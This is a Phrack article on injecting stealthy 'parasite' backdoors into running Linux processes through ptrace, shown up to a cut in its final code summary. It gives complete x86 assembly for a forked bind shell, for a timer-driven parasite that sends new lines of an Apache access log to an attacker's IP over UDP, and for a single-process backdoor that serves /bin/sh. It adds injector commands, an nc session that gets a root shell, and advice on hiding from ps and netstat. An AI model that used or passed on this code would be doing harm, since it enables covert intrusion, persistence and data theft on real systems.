Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 14 Issue 68 File 09
==Phrack Inc.==
Volume 0x0e, Issue 0x44, Phile #0x09 of 0x13
|=-----------------------------------------------------------------------=|
|=---------------------=[ Single Process Parasite ]=---------------------=|
|=----------------=[ The quest for the stealth backdoor ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ by Crossbower ]=--------------------------=|
|=-----------------------------------------------------------------------=|
Index
------[ 0. Introduction
------[ 1. Brief discussion on injection methods
------[ 2. First generation: fork() and clone()
------[ 3. Second generation: signal()/alarm()
------[ 4. Third generation: setitimer()
------[ 5. Working parasites
------------[ 5.1 Process and thread backdoor
------------[ 5.2 Remote "tail follow" parasite
------------[ 5.3 Single process backdoor
------[ 6. Something about the injector
------[ 7. Further readings
------[ 8. Links and references
------[ 0. Introduction
In biology a parasite is an organism that grows, feeds, and live in a
different organism while contributing nothing to the survival of its host.
(There is another interesting definition that, even if it's less relevant,
I find funny: a professional dinner guest, especially in ancient Greece.
>From Greek parastos, person who eats at someone else's table,
parasite : para-,beside; stos, grain, food.)
So, without digressing too much, what do we mean by "parasite" in this
document? A parasite is simply some executable code that lives within
another process, but that was injected after its loading time, by a
third person/program.
Any process can become infected quite easily, using standard libraries
provided by operating systems (we will use process trace, ptrace [0]).
The real difficulty for the parasite is to coexist peacefully with the host
process, without killing it. For "death" of the host we also intend a
situation where, even if the process remains active, it is no longer
able to work properly, because its memory has been corrupted.
The of goal this document is to create a parasite that live and let live
the host process, as if nothing had happened.
Starting with simple techniques, and and gradually improving the parasite,
we'll reach a point where our creature is scheduled inside the process of
the host, without the need of fork() or similar calls (i.e. clone()).
An interesting question is: why a parasite is an excellent backdoor?
The simplest answer is that a parasite hides what is not permitted in what
is allowed, so that:
- it's difficult to detect using conventional tools
- it's more stable and easy to use than kernel-level rootkits.
If the target system has security tools that automatically monitor the
integrity of executable files, but that do not perform complete audits of
memory, the parasite will not trigger any alarm.
After this introduction we can dive into the problematic.
If you prefer practical examples, you can "jump" to paragraph 5,
which shows three different types of real parasite.
------[ 1. Brief discussion on injection methods
To separate the creation of the shellcode from the methods used to inject
it into the host process, this section will discuss how the parasite is
injected (in the examples of this document).
Unlike normal shellcode that, depending on the vulnerability exploited,
can not contain certain types of characters (e.g. NULLs), a parasite has
no particular restrictions.
It can contain any character, even NULL bytes, because ptrace [0] allows to
modify directly the .text section of a process.
The first question that arises regards where to place parasitic code.
This memory location must not be essential to the program, and should not
be invoked by the code after the start (or shortly after the start) of
the host process.
We can use run-time patching, but it's complicated technique and makes it
difficult to ensure the correct functioning of the process after the
manipulation. It is therefore not suitable for complex parasites.
The author has chosen to inject the code into the memory range of libdl.so
library, since it is used during the loading stage of programs but then
usually no longer necessary (more info: [1][2]).
Another reason for this choice is that the memory address of the library,
when loaded into the process, is exported in the /proc filesystem.
You can easily see that by typing:
$ cat /proc/self/maps
...
b7778000-b777a000 rw-p 00139000 fe:00 37071197 /lib/libc-2.7.so
b777a000-b777d000 rw-p b777a000 00:00 0
...
b7782000-b779c000 r-xp 00000000 fe:00 37071145 /lib/ld-2.7.so <---
...
Libdl is mapped at the range b7782000-b779c000 and is executable. The
injected starting at the initial address of the range is perfectly
executable.
Some considerations about this method: if the infected program uses
dlopen(), dlclose() or dlsym() during its execution, some problems
could arise. The solution is to inject into the same library, but in
unused memory locations.
(From the tests of the author the initial memory locations of the library
are not critical and do not affect the execution of programs.)
There are other problems on linux systems that use the grsec kernel patch.
Using this patch the text segment of the host process is marked
read/execute only and therefore will not be writable with ptrace.
If that's your case, Ryan O'Neill has published a very powerful
algorithm [3] that exploits sysenter instructions (used by the host's code)
to execute a serie of system calls (the algorithm is able to
allocate and set the correct permission on a new memory area without
modifying the text segment of the traced process).
I recommend everyone read the document, as it is very interesting.
The other premise, I want to do in this section, regards the basic
informations the injector (the program that injects the parasite) must
provide to the shellcode to restore the execution of the host program.
Our implementation of the injector gets the current EIP (Instruction
Pointer) of the host process, push it on the stack and writes in the EIP
the address of the parasite (injected into libdl).
The parasite, in its initialization part, saves every register it uses.
Then, at the end of its execution, every modified register is restored.
A simple way to do this is to push and pop the registers with the
instructions PUSHA and POPA.
After that, a simple RET instruction restores the execution of the host
process, since the its saved EIP is on the top of the stack.
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
parasite_skeleton:
# preamble
push %eax # save registers
push %ebx # used by the shellcode
# ...
# shellcode
# ...
# epilogue
pop %ebx # restore modified registers
pop %eax # ...
ret # restore execution of the host
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
Another very useful information the injector provides to the shellcode,
is the address of a persistent memory location. In the case of this
document, the address is also taken from /proc/pid/maps:
...
b7701000-b771c000 r-xp 00000000 08:03 1261592 /lib/ld-2.11.1.so
b771c000-b771d000 r--p 0001a000 08:03 1261592 /lib/ld-2.11.1.so
b771d000-b771e000 rw-p 0001b000 08:03 1261592 /lib/ld-2.11.1.so <--
...
The range b771d000-b771e000 has read and write permission and it's
suitable for this purpose.
Other techniques exists to dynamically create writable and executable
memory locations, such as the use of mmap() in the host process. But these
techniques are beyond the scope of this article and will not be analyzed
here.
Since the necessary premises have been made, we can discuss the first
generation of our stealth parasite.
------[ 2. First generation: fork() and clone()
The simplest idea to allow the host process to continue its execution
properly and, at the same time, hide the parasite, is the use of the
fork() syscall (or the creation of a new thread, not analyzed here).
Using fork() the process is splitted in two:
- the parent process (the original one) can continue its normal execution
- the child process, instead, will execute the parasite
An important thing to note, is that the child process inherits the parent's
name and a copy of its memory.
This means that if we inject the parasite in the process "server1",
another process "server1" will be created as its child.
Before the injection:
# ps -A
...
...
5478 ? 00:00:00 server1
...
After the injection:
# ps -A
...
...
5478 ? 00:00:00 server1
5479 ? 00:00:00 server1
...
If the host process is carefully chosen, the parasite will be very hard
to detect. Just think of some network services (such as apache2) that
generate a lot of children: a single child process is unlikely to be
detected.
The fork parasite can be implemented as a preamble preceding the real
shellcode:
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
fork_parasite:
push %eax # save %eax value (needed by parent process)
push $2
pop %eax
int $0x80 # fork
test %eax, %eax
jz shellcode # child: jumps to shellcode
pop %eax # parent: restores host process execution
ret
shellcode: # append your shellcode here
# ...
# ...
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
The preamble simply makes a call to fork(), analyzes the results, and
decides the execution path to choose.
With this implementation, any existing shellcode can be turned into a
parasite: it's responsibility of the injector to concatenate the parts
before inserting them in the host.
A very similar technique uses clone() instead of fork(). We can consider
clone() a generalization of the fork() syscall through which it's possible
to create both processes and threads.
The difference is in the options passed to the syscall. A thread is
generated using particular flags:
- CLONE_VM the calling process and the child process run in the same
memory space. Memory writes performed by the calling process
or by the child process are also visible in the other
process.
Any memory mapping or unmapping performed by the child or
the calling process also affects the other process.
- CLONE_SIGHAND the calling process and the child process share the same
table of signal handlers.
- CLONE_THREAD the child is placed in the same thread group as the
calling process.
The CLONE_THREAD flag is the most important: it is what distinguishes what
we call the "process" from what we call "thread" at least on linux systems.
Let's see how the clone() preamble is implemented:
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
clone_parasite:
pusha # save registers (needed by parent process)
# call to sys_clone
xorl %eax, %eax
mov $120, %al
movl $0x18900, %ebx # flags: CLONE_VM|CLONE_SIGHAND|
# CLONE_THREAD|CLONE_PARENT
int $0x80 # clone
test %eax, %eax
jz shellcode # child: jumps to shellcode
popa # parent: restores host process execution
ret
shellcode: # append your shellcode here
# ...
# ...
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
The code is based on the fork() preamble, and its behaviour is very
similar. The difference is in the result.
Before the injection (single threaded process):
# ps -Am
...
...
8360 pts/3 00:00:00 server1
- - 00:00:00 -
...
After the injection (an additional thread is created):
# ps -A
...
...
8360 pts/3 00:00:00 server1
- - 00:00:00 -
- - 00:00:00 -
...
Surely the generation of a thread is more stealthy than the generation of a
process. However there is a small disadvantage, if the parasite thread
alters parts of the main thread can bring the host to a crash:
the use of the resources, that are shared, must be much more careful.
We have just seen how to create parasites executed as independent processes
or threads.
However, these types of parasites are not completely invisible. In some
circumstances, and in the case of particular (monitored) processes, the
generation of a child (process or thread) can be problematic or easily
detectable.
Therefore, in the next section, we will discuss in a different type of
parasite/preamble, deeply integrated with its host.
------[ 3. Second generation: signal()/alarm()
If we don't like the creation of another process to execute our parasite
we need some kind of time sharing mechanism inside a single process (did
you see the title of this document?)
It's a scheduling problem: when a new process is created, the operating
system takes care of assigning it time and resources necessary to its
execution.
If we don't want to rely on this mechanism, we have to simulate a scheduler
within a single process, to allow a concurrent execution of parasite and
host, using (usually) asynchronous events.
When you think of asynchronous events in a Unix-like system, the first
thing that comes to mind are signals.
If a process registers a handler for a specific signal, when the signal
is sent the operating system stops its normal execution and makes a
(void function) call to the handler.
When the handler returns, the execution of the process is restored.
There are several functions provided by the operating system to generate
signals. In this chapter we'll use alarm().
Alarm() arranges for a SIGALRM signal to be delivered to the calling
process when an arbitrary number of seconds has passed.
Its main limitation is that you can not specify time intervals shorter than
one second, but this is not a problem in most cases.
Our parasite/preamble needs to register itself as a handler for the signal
SIGALRM, and renew the timer every time it is executed, to be called at
regular intervals.
This creates a kind of scheduler within a single process, and there is no
the need to call fork() (or functions to create threads).
Here is our second generation parasite/preamble:
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
# signal/alarm parasite
handler:
pusha
# alarm(timeout)
xorl %eax, %eax
xorl %ebx, %ebx
mov $27, %al
mov $0x1, %bl # 1 second
int $0x80
schedule:
# signal(SIGALRM, handler)
xorl %eax, %eax
xorl %ebx, %ebx
mov $48, %al
mov $14, %bl
jmp schedule_end # load schedule_end address
load_handler:
pop %ecx
subl $0x23, %ecx # adjust %ecx to point handler()
int $0x80
popa
jmp shellcode
schedule_end:
call load_handler
shellcode: # append your shellcode here
# ...
# ...
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
Of course the type of shellcode you can append to the preamble must
be aware of the "alternative" scheduling mechanism.
It must be able to split its operations between multiple calls, and must
also not take too much time to run a single step (i.e. a single call),
to not slow down the host program or overlap with the next handler call.
In short, a call to the handler (our parasite), to work properly must last
less than the timer interval.
However, alert() is not the only function able to simulate a scheduler.
In the next chapter we will see a more advanced function, which allows a
more granular control of the execution of the parasite.
------[ 4. Third generation: setitimer()
We've just arrived at the latest generation of the parasite.
In the first part of the chapter we'll spend some time to analyze the
function setitimer(), on which the code is based.
The definition of the function is:
int setitimer(int which, const struct itimerval *new_value,
struct itimerval *old_value);
As in the case of alarm(), the function setitimer() provides a mechanism
for a process to interrupt itself in the future using signals.
Unlike alarm, however, you can specify intervals of a few microseconds and
choose various types of timers and time domains.
The argument "int which" allows to choose the type of timer and therefore
the signal that will be sent to the process:
ITIMER_REAL 0x00 the most used timer, it decrements in real time, and
delivers SIGALRM upon expiration.
ITIMER_VIRTUAL 0x01 decrements only when the process is executing, and
delivers SIGVTALRM upon expiration.
ITIMER_PROF 0x02 decrements both when the process executes and when the
system is executing on behalf of the process. Coupled
with ITIMER_VIRTUAL, this timer is usually used to
profile the time spent by the application in user and
kernel space. SIGPROF is delivered upon expiration.
We will use ITIMER_REAL because it allows the generation of signal at
regular intervals, and is not influenced by environmental factors such as
the workload of a system.
The argument "const struct itimerval *new_value" points to an itimerval
structure, defined as:
struct itimerval {
struct timeval it_interval; /* next value */
struct timeval it_value; /* current value */
};
struct timeval {
long tv_sec; /* seconds */
long tv_usec; /* microseconds */
};
The last timeval structure, it_value, is the period between the calling of
the function and the first timer interrupt. If zero, the alarm is disabled.
The second one, it_interval, is the period between successive timer
interrupts. If zero, the alarm will only be sent once.
We'll set both structures at the same time interval.
The last argument, "struct itimerval *old_value", if not NULL, will be set
by the function at the value of the previous timer. We'll not use this
feature.
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
# setitimer parasite
setitimer_hdr:
pusha
# sys_setitimer(ITIMER_REAL, *struct_itimerval, NULL)
xorl %eax, %eax
xorl %ebx, %ebx
xorl %edx, %edx
mov $104, %al
jmp struct_itimerval # load itimervar structure
load_struct:
pop %ecx
int $0x80
popa
jmp handler
struct_itimerval:
call load_struct
# itimerval structure: you can modify the values
# to set your time intervals
.long 0x0 # seconds
.long 0x5000 # microseconds
.long 0x0 # seconds
.long 0x5000 # microseconds
# signal handler, called by the timer
handler:
pusha
# signal(SIGALRM, handler)
xorl %eax, %eax
xorl %ebx, %ebx
mov $48, %al
mov $14, %bl
jmp handler_end # load handler_end address
load_handler:
pop %ecx
subl $0x19, %ecx # adjust %ecx to point handler()
int $0x80
popa
jmp shellcode
handler_end:
call load_handler
shellcode: # append your shellcode here
# ...
# ...
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
The usage of this preamble is similar to the previous (alarm) one, there
is only the necessity of a fine-tuned timer: a compromise between the
frequency of executions and the stability of the parasite, which must be
able to carry out its operations in less time than a timer's cycle.
You can work around this problem by transforming these preambles
(including the preamble that makes use of alarm()) in epilogues, so that
the timer starts counting only after the parasite has finished its
operations.
In fact we are going to see how this was implemented in the real parasites
presented below.
------[ 5. Working parasites
Here we come to the practical part. Three working parasites will be
presented: one for each technique exposed in the theoretical part of the
document.
To inject the parasites the injector cymothoa [4] was used, written by the
same author, and which already includes the codes presented in the article.
Although it is possible, through various techniques, to inject shellcodes
in processes, the download of the program is recommended to try the
examples during the lecture.
------------[ 5.1 Process and thread backdoor
Our first real parasite is a backdoor created by applying, to pre-existing
shellcode, the fork() preamble.
The shellcode used was developed by izik (izik@tty64.org) and is
available on several sites [5]. For this reason will not be reported.
The shellcode is a classic exploit shellcode: it binds /bin/sh to a TCP
port and fork a shell for every connection.
Using it aided by an injector, has several advantages:
- The ability to configure its behavior. In this case the possibility to
choose the port to listen on.
- The possibility of keeping the host alive using a one of the
preamble shown earlier.
- Not having to worry about memory locations necessary to the execution
and data storage, since they are automatically provided.
Let's see in practice how this parasite works...
First, on the victim machine, we must identify a suitable host process.
In this example we will use an instance of cat, since it's really easy to
check if it continues its execution after the injection.
root@victim# ps -A | grep cat
1727 pts/6 00:00:00 cat
We need this pid for the injection:
root@victim# cymothoa -p 1727 -s 1 -y 5555
[+] attaching to process 1727
register info:
-----------------------------------------------------------
eax value: 0xfffffe00 ebx value: 0x0
esp value: 0xbf81e1c8 eip value: 0xb78be430
------------------------------------------------------------
[+] new esp: 0xbf81e1c4
[+] payload preamble: fork
[+] injecting code into 0xb78bf000
[+] copy general purpose registers
[+] detaching from 1727
[+] infected!!!
root@victim#
The process is now infected: we should be able to see two cat instances,
the original one and the new one that corresponds to the parasite:
root@victim# ps -A | grep cat
1727 pts/6 00:00:00 cat
1842 pts/6 00:00:00 cat
If, from a different machine, we try to connect to the port 5555, we should
get a shell:
root@attacker# nc -vv victim 5555
Connection to victim 5555 port [tcp/*] succeeded!
uname -a
Linux victim 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
whoami
root
At the same time, if we write a few lines in the console where the original
cat is running, we should see the usual output:
root@victim# cat
test123
test123
foo
foo
The backdoor function properly: the two processes are running at the same
time without crashing...
The same backdoor can also be injected in a similar way using the clone()
preamble, and thus running the parasite as a new thread instead of a new
process.
The command is similar, we only disable the fork() preamble and force
clone() instead:
root@victim# cymothoa -p 9425 -s 1 -y 5555 -F -b
[+] attaching to process 9425
register info:
-----------------------------------------------------------
eax value: 0xfffffe00 ebx value: 0x0
esp value: 0xbfb4beb8 eip value: 0xb78da430
------------------------------------------------------------
[+] new esp: 0xbfb4beb4
[+] payload preamble: thread
[+] injecting code into 0xb78db000
[+] copy general purpose registers
[+] detaching from 9425
[+] infected!!!
If we execute ps without special flags we now see only one process:
root@victim# ps -A | grep cat
9425 pts/3 00:00:00 cat
But with the option -m we see an additional thread:
root@victim# ps -Am
...
9425 pts/3 00:00:00 cat
- - 00:00:00 -
- - 00:00:00 -
...
...
Using netcat on the port 5555 of the victim machine works as expected.
Some notes on the proper use of the fork() and clone() preambles:
- This preamble is compatible with virtually any existing shellcode,
without any modification. It can be used to easily transform into
parasitic code what you have already written.
In the case of clone() preamble the situation is slightly more critical
because there is the possibility that the parasite thread interferes
with the host thread. However, widespread shellcodes are usually
already attentive to these issues, and should not cause problems.
- It is better to inject the parasite into servers that generate many
child processes. Some of those tested by me are apache2, dhclient3 and,
in the case of a desktop system, the processes of the window manager.
It's hard to find a needle in a haystack, and it is difficult to tell
a single parasite from dozens of apache2 processes ;)
------------[ 5.2 Remote "tail follow" parasite
Have you ever used tail with the "-f" (follow) option? This mode is used
to monitor text files, usually logs, to see in real time the new lines
added by other processes.
Tail accepts as option a sleep interval, a waiting time between a
control of the file and another.
It's therefore natural, when writing a parasite with the same function, to
use a preamble that allows a precise control of time: the setitimer()
preamble.
This is the code of this new parasite... It is more complex than the
previous codes.
After the source there will be a brief explanation of its operations, and
finally an example of its practical use.
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<
#
# Scheduled tail setitimer parasite
#
#
# Preamble
#
setitimer_hdr:
pusha
# sys_setitimer(ITIMER_REAL, *struct_itimerval, NULL)
xorl %eax, %eax
xorl %ebx, %ebx
xorl %edx, %edx
mov $104, %al
jmp struct_itimerval
load_struct:
pop %ecx
int $0x80
popa
jmp handler
struct_itimerval:
call load_struct
# these values are replaced by the injector:
.long 0x0#53434553 # seconds
.long 0x5343494d # microseconds
.long 0x0#53434553 # seconds
.long 0x5343494d # microseconds
handler:
pusha
# signal(SIGALRM, handler)
xorl %eax, %eax
xorl %ebx, %ebx
mov $48, %al
mov $14, %bl
jmp handler_end
load_handler:
pop %ecx
subl $0x19, %ecx # adjust %ecx to point handler()
int $0x80
popa
jmp shellcode
handler_end:
call load_handler
#
# The shellcode starts here
#
shellcode:
pusha
# check if already initialized
mov $0x4d454d50, %esi # replaced by the injector
# (persistent memory address)
mov (%esi), %eax
cmp $0xdeadbeef, %eax
je open_call # jump if already initialized
# initialize
mov $0xdeadbeef, %eax
mov %eax, (%esi)
add $4, %esi
xorl %eax, %eax
mov %eax, (%esi)
sub $4, %esi
open_call:
# call to sys_open(file_path, O_RDONLY)
xorl %eax, %eax
mov $5, %al
jmp file_path
load_file_path:
pop %ebx
xorl %ecx, %ecx
int $0x80 # %eax = file descriptor
mov %eax, %edi # save file descriptor
check_file_length:
# call to sys_lseek(fd, 0, SEEK_END)
mov %edi, %ebx
xorl %eax, %eax
mov $19, %al
xorl %ecx, %ecx
xorl %edx, %edx
mov $2, %dl
int $0x80 # %eax = end of file offset (eof)
# get old eof, and store new eof
add $4, %esi
mov (%esi), %ebx
mov %eax, (%esi)
# skip the first read
test %ebx, %ebx
jz return_to_main_proc
# check if file is larger
# (current end of file > previous end of file)
cmp %eax, %ebx
je return_to_main_proc # eof not changed:
# return to main process
calc_data_len:
# calculate new data length
# (current eof - last eof)
mov %eax, %esi
sub %ebx, %esi # saved in %esi
set_new_position:
# call to sys_lseek(fd, last_eof, SEEK_SET)
xorl %eax, %eax
mov $19, %al
mov %ebx, %ecx
mov %edi, %ebx
xorl %edx, %edx
int $0x80 # %eax = last end of file offset
read_file_tail:
# allocate buffer
sub %esi, %esp
# call to sys_read(fd, buf, count)
xorl %eax, %eax
mov $3, %al
mov %edi, %ebx
mov %esp, %ecx
mov %esi, %edx
int $0x80 # %eax = bytes read
mov %esp, %ebp # save pointer to buffer
open_socket:
# call to sys_socketcall($0x01 (socket), *args)
xorl %eax, %eax
mov $102, %al
xorl %ebx, %ebx
mov $0x01, %bl
jmp socket_args
load_socket_args:
pop %ecx
int $0x80 # %eax = socket descriptor
jmp send_data
socket_args:
call load_socket_args
.long 0x02 # AF_INET
.long 0x02 # SOCK_DGRAM
.long 0x00 # NULL
send_data:
# prepare sys_socketcall (sendto) arguments
jmp struct_sockaddr
load_sockaddr:
pop %ecx
push $0x10 # sizeof(struct_sockaddr)
push %ecx # struct_sockaddr address
xorl %ecx, %ecx
push %ecx # flags
push %edx # buffer len
push %ebp # buffer pointer
push %eax # socket descriptor
# call to sys_sendto($11 (sendto), *args)
xorl %eax, %eax
mov $102, %al
xorl %ebx, %ebx
mov $11, %bl
mov %esp, %ecx
int $0x80
jmp restore_stack
struct_sockaddr:
call load_sockaddr
.short 0x02 # AF_INET
.short 0x5250 # PORT (replaced by the injector)
.long 0x34565049 # DEST IP (replaced by the injector)
restore_stack:
# restore stack
pop %ebx # socket descriptor
pop %eax # buffer pointer
pop %edx # buffer len
pop %eax # flags
pop %eax # struct_sockaddr address
pop %eax # sizeof(struct_sockaddr)
# deallocate buffer
add %edx, %esp
close_socket:
# call to sys_close(socket)
xorl %eax, %eax
mov $6, %al
int $0x80
return_to_main_proc:
# call to sys_close(fd)
xorl %eax, %eax
mov $6, %al
mov %edi, %ebx
int $0x80
# return
popa
ret
file_path:
call load_file_path
.ascii "/var/log/apache2/access.log"
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
The code is not written in a super-compact way, since the space it's not
a problem and the ease of programming and modification has been preferred.
The code can be summarized in a few steps:
1) Preable (we already know).
2) Check to see if it's the first execution. This step makes use of a
persistent memory location, provided by the injector.
3) File open and check of length.
4) Comparison with previous file's length.
4.1) If unchanged the parasite returns the execution to the host process.
4.2) If changed the execution continues.
5) Read the new lines of the file.
6) Send the new lines to the attacker via UDP
7) Restore the stack
8) Return the execution to the host process.
The shellcode receives several parameters from the injector: the address
of a persistent memory location, the attacker IP address and port, and the
microsecond interval for the timer.
The injector simply replaces known hexadecimal mark with these parameters
during the injection. You can see where the replacements occur looking
at the comments of the code.
Now on to the fun part: the practical use of the parasite.
The first thing to do is to prepare the server on the attacker's machine
to receive data. Inside the main directory of the injector is present a
simple implementation of UDP server.
You need only to specify an available port:
root@attacker# ./udp_server 5555
./udp_server: listening on port UDP 5555
Now we can move to the victim's machine, and choose suitable process.
For simplicity we will use cat again.
To inject the parasite we must specify some parameters:
root@victim# ./cymothoa -p `pidof cat` -s 14 -k 5000 -x attacker_ip -y 5555
[+] attaching to process 4694
register info:
-----------------------------------------------------------
eax value: 0xfffffe00 ebx value: 0x0
esp value: 0xbfa9f3f8 eip value: 0xb77e8430
------------------------------------------------------------
[+] new esp: 0xbfa9f3f4
[+] injecting code into 0xb77e9000
[+] copy general purpose registers
[+] persistent memory at 0xb7805000 (if used)
[+] detaching from 4694
[+] infected!!!
The process is now infected. No new process has been created.
Now, assuming an apache2 server is running, we can try to make some
requests to the server to update /var/log/apache2/access.log (the file
we are monitoring).
root@attacker# curl victim_ip
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added.</p>
</body></html>
If everything worked properly we should see, in the console of the UDP
server UDP, the new lines generated by our requests:
root@attacker# ./udp_server 5555
./udp_server: listening on port UDP 5555
::1 - - [26/May/2011:11:18:57 +0200] "GET / HTTP/1.1" 200 460 "-"
"curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k
zlib/1.2.3.3 libidn/1.15"
::1 - - [26/May/2011:11:19:26 +0200] "GET / HTTP/1.1" 200 460 "-"
"curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k
zlib/1.2.3.3 libidn/1.15"
...
Et voila, we have a remote file sniffer!
Of course the connections do not appear in the output of tools like
netstat, as they are only brief exchanges of data, and sockets are open
only when the monitored file has new lines (and immediately closed).
Some notes on the proper use of this preamble and parasite:
- This preamble is usually not compatible with virtually existing
shellcode. The code must be modified to return the execution to the
host process, restoring stack and registers.
- It is better to inject the parasite into servers that run all the time
the machine is on, but do not use processor very much. The server
dhclient3 is a perfect host.
------------[ 5.3 Single process backdoor
We have just arrived at the last and perhaps most interesting example of
parasite of this document.
That's what the author wanted to obtain: a backdoor that can live within
another process, without calls to fork() and without creating new threads.
The backdoor listens on a port (customizable by the injector), and
periodically checks if a client is connected. This part has been
implemented using nonblocking sockets and a modified alarm() preamble.
When a client is connected, it obtains a shell: the only time a call
to fork() is made.
As long as the backdoor is in listening mode, the only way to notice its
presence is to check the listening ports on the machine, but even in this
case we can use some tricks to make our parasite very difficult to detect.
Here's the code.
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
#
# Single process backdoor (alarm preamble)
#
handler:
pusha
set_signal_handler:
# signal(SIGALRM, handler)
xorl %eax, %eax
xorl %ebx, %ebx
mov $48, %al
mov $14, %bl
jmp set_signal_handler_end
load_handler:
pop %ecx
subl $0x18, %ecx # adjust %ecx to point handler()
int $0x80
jmp shellcode
set_signal_handler_end:
call load_handler
shellcode:
# check if already initialized
mov $0x4d454d50, %esi # replaced by the injector
# (persistent memory address)
mov (%esi), %eax
cmp $0xdeadbeef, %eax
je accept_call # jump if already initialized
socket_call:
# call to sys_socketcall($0x01 (socket), *args)
xorl %eax, %eax
mov $102, %al
xorl %ebx, %ebx
mov $0x01, %bl
jmp socket_args
load_socket_args:
pop %ecx
int $0x80 # %eax = socket descriptor
# save socket descriptor
mov $0xdeadbeef, %ebx
mov %ebx, (%esi)
add $4, %esi
mov %eax, (%esi)
sub $4, %esi
jmp fcntl_call
socket_args:
call load_socket_args
.long 0x02 # AF_INET
.long 0x01 # SOCK_STREAM
.long 0x00 # NULL
fcntl_call:
# call to sys_fcntl(socket, F_GETFL)
mov %eax, %ebx
xorl %eax, %eax
mov $55, %al
xorl %ecx, %ecx
mov $3, %cl
int $0x80
# call to sys_fcntl(socket, F_SETFL, flags | O_NONBLOCK)
mov %eax, %edx
xorl %eax, %eax
mov $55, %al
mov $4, %cl
orl $0x800, %edx # O_NONBLOCK (nonblocking socket)
int $0x80
bind_call:
# prepare sys_socketcall (bind) arguments
jmp struct_sockaddr
load_sockaddr:
pop %ecx
push $0x10 # sizeof(struct_sockaddr)
push %ecx # struct_sockaddr address
push %ebx # socket descriptor
# call to sys_socketcall($0x02 (bind), *args)
xorl %eax, %eax
mov $102, %al
xorl %ebx, %ebx
mov $0x02, %bl
mov %esp, %ecx
int $0x80
jmp listen_call
struct_sockaddr:
call load_sockaddr
.short 0x02 # AF_INET
.short 0x5250 # PORT (replaced by the injector)
.long 0x00 # INADDR_ANY
listen_call:
pop %eax # socket descriptor
pop %ebx
push $0x10 # queue (backlog)
push %eax # socket descriptor
# call to sys_socketcall($0x04 (listen), *args)
xorl %eax, %eax
mov $102, %al
xorl %ebx, %ebx
mov $0x04, %bl
mov %esp, %ecx
int $0x80
# restore stack
pop %edi
pop %edi
pop %edi
accept_call:
# prepare sys_socketcall (accept) arguments
xorl %ecx, %ecx
push %ecx # socklen_t *addrlen
push %ecx # struct sockaddr *addr
add $4, %esi
push (%esi) # socket descriptor
# call to sys_socketcall($0x05 (accept), *args)
xorl %eax, %eax
mov $102, %al
xorl %ebx, %ebx
mov $0x05, %bl
mov %esp, %ecx
int $0x80 # %eax = file descriptor or negative (on error)
mov %eax, %edx # save file descriptor
# restore stack
pop %edi
pop %edi
pop %edi
# check return value
test %eax, %eax
js schedule_next_and_return # jump on error (negative %eax)
fork_child:
# call to sys_fork()
xorl %eax, %eax
mov $2, %al
int $0x80
test %eax, %eax
jz dup2_multiple_calls # child continue execution
# parent schedule_next_and_return
schedule_next_and_return:
# call to sys_close(socket file descriptor)
# (since is used only by the child process)
xorl %eax, %eax
mov $6, %al
mov %edx, %ebx
int $0x80
# call to sys_waitpid(-1, NULL, WNOHANG)
# (to remove zombie processes)
xorl %eax, %eax
mov $7, %al
xorl %ebx, %ebx
dec %ebx
xorl %ecx, %ecx
xorl %edx, %edx
mov $1, %dl
int $0x80
# alarm(timeout)
xorl %eax, %eax
mov $27, %al
movl $0x53434553, %ebx # replaced by the injector (seconds)
int $0x80
# return
popa
ret
dup2_multiple_calls:
# dup2(socket, 2), dup2(socket, 1), dup2(socket, 0)
xorl %eax, %eax
xorl %ecx, %ecx
mov %edx, %ebx
mov $2, %cl
dup2_loop:
mov $63, %al
int $0x80
dec %ecx
jns dup2_loop
execve_call:
# call to sys_execve(program, *args)
xorl %eax, %eax
mov $11, %al
jmp program_path
load_program_path:
pop %ebx
# create argument list [program_path, NULL]
xorl %ecx, %ecx
push %ecx
push %ebx
mov %esp, %ecx
mov %esp, %edx
int $0x80
program_path:
call load_program_path
.ascii "/bin/sh"
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
A little summary of the code:
1) Half preable, only the signal() part.
2) Check to see if it's the first execution. This step makes use of a
persistent memory location, provided by the injector.
2.1) If already initialized jump to 7
2.2) If not initialized continue
3) Open socket.
4) Set nonblocking using fcntl().
